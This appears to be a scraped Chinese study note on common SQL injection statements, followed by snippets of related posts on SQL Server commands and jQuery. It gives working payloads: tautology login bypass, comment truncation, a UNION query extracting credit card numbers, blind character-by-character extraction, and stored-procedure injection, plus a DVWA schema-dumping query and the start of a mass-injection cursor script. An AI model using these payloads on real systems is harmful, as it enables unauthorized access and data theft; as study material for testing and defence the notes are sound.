SQL注入常用语句{笔记}

example1:

select * from users where username=‘$username‘ and password=‘$password‘

test data:

$username = 1‘ or ‘1‘=‘1

$password=1‘ or ‘1‘=‘1

select * from users where username=‘1‘ or ‘1‘=‘1‘ and password=‘1‘ or ‘1‘=‘1‘

如果参数值是GET方法传递到服务器,则访问请求是:

http://www.example.com/index.php?username=1‘%20or%20‘1‘%20=%20‘1&password=1‘%20or%20‘1‘%20=%20‘1

sql语句永远为真,未验证用户名和密码;

example 2:

select * from users where((username=‘$username‘)and(password=md5(‘$password‘)))

test data:

$username=1‘ or ‘1‘=‘1‘))/*

$password = foo

select * from users where ((username=‘1‘ or ‘1‘=‘1‘))/*‘)and(password=md5(‘$password‘)))

url 请求:

http://www.example.com/index.php?username=1‘%20or%20‘1‘%20=%20‘1‘))/*&password=foo

example 3:

select name,phone,address from users where id=$id

test data:

$id=1 union all select creditcardnumber,1,1 from creditcartable

select name,phone,address from users where id=1 union all select creaditcardnumber,1,1 from creditcartable

example 4:

盲目sql注入,如url中有参数名为id,则输入url请求引用:

http://www.exampe.com/index.php?id=1‘

假设服务器查询语句为:

select field1,field2,field3 from users where id=‘$id‘

逐字符读取值的函数:

substring(text,start,length),ascii(char),length(text)

将id引用为:

$id=1‘ and ascii(substring(username,1,1))=97 and ‘1‘=‘1

select field1,field2,field3 from users where id=‘1‘ and ascii(substring(username,1,1))=97 and ‘1‘=‘1

如果数据库用户名第一个字符ascii码为97,能得到真值,继续寻找用户名下一个字符,如果没有,猜测98,反复判断合法用户名;

example 5:

存储过程注入
如果在使用存储过程不当的时候,会造成一定的SQL注入漏洞。
Create procedure user_login

@username varchar(20),
@password varchar(20) As Declare @sqlstring varchar(250)

Set @sqlstring =‘‘
Select 1 from users
where username=‘[email protected]+‘and password=‘[email protected]
exec(@sqlstring)
Go

test data:

anyusername or 1=1‘
anypassword 

如果程序没有对输入进行验证,那么上面的语句就返回数据库中的一条记录

时间: 2024-11-04 06:49:02

SQL注入常用语句{笔记}的相关文章

【SQL】 常用语句之系统语法

1. 获取取数据库服务器上所有数据库的名字 SELECT name FROM master.dbo.sysdatabases 2. 获取取数据库服务器上所有非系统数据库的名字 SELECT [name] FROM master.dbo.sysdatabases  ORDER BY [Name] 3. 获取数据库下所有的表名 SELECT name from sys.tables 4. 获取表结构(字段名,属性) SELECT C.name as [字段名],T.name as [字段类型] ,c

sql server2005 常用语句

本人初学者时用 创建一个库为study create database study 创建一个学生信息表 create table 学生信息表 (姓名 char(10) not null, 学号 char(12) not null, 年龄 int not null, 性别 char(4), 电话号码 char(11) ) http://www.xp933.com/tech/300.html  无损调整c盘大小 创建一个学生信息表一个主键 create table 学生信息表一个主键 (姓名 cha

SQL的常用语句

查看日志使用情况 DBCC SQLPERF(logspace) 查看sql服务器上当前所有建立的数据连接情况 sp_who2 收缩数据库 DBCC SHRINKDATABASE(databasename)

sql server 常用语句

1.数据库压缩日志 GO ALTER DATABASE website SET RECOVERY SIMPLE;--设置简单恢复模式 GO DBCC SHRINKFILE (website_Log, 1); GO ALTER DATABASE website SET RECOVERY FULL;--恢复为原模式 GO 2.重建所有索引 exec sp_msforeachtable 'DBCC DBREINDEX(''?'')'

【SQL】 常用语句

1.批量导入 INSERT INTO Table2(field1,field2,...) SELECT value1,value2,... FROMTable1 要求目标表Table2必须存在 2.批量导入 SELECT vale1, value2 INTO Table2 FROM Table1 要求目标表Table2不存在,因为在插入时会自动创建表Table2,并将Table1中指定字段数据复制到Table2中 3.去重并保留一项 DELETE FROM tableName WHERE Id

一个sql注入的语句

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM

[小问题笔记(七)] jQuery 常用语句笔记(隐藏/显示/禁用标签 等)

隐藏/显示标签 $("#div1").css("display", "none");$("#div2").css("display", "block"); 禁用/取消禁用 $("#div1").attr("disabled", "disabled"); $("#div1").attr("disabl

手动漏洞挖掘-SQL注入(安全牛笔记)

substring_index(USER(),"@",l)-- #是将查询出来的结果进行切分,以@符号的方式切分 ' union select table_name,table_schema from information_schema.tables-- + #查询数据库中所有的库表 查询所有数据库,数据表: http://192.168.100.129/dvwa/vulnerabilities/sqli/ ?id='+union+select+table_name,table_sc

sql注入常用函数总结

相关函数 mid()---从文本字段中提取字符 SELECT MID(column_name,start[,length]) FROM table_name; column_name 必需.要提取字符的字段. start 必需.规定开始位置(起始值是 1). length 可选.要返回的字符数.如果省略,则 MID() 函数返回剩余文本. limit()---返回前几条或者中间某几行数据 select * from table limit m,n; 其m指记录始index0始表示第条记录 n指第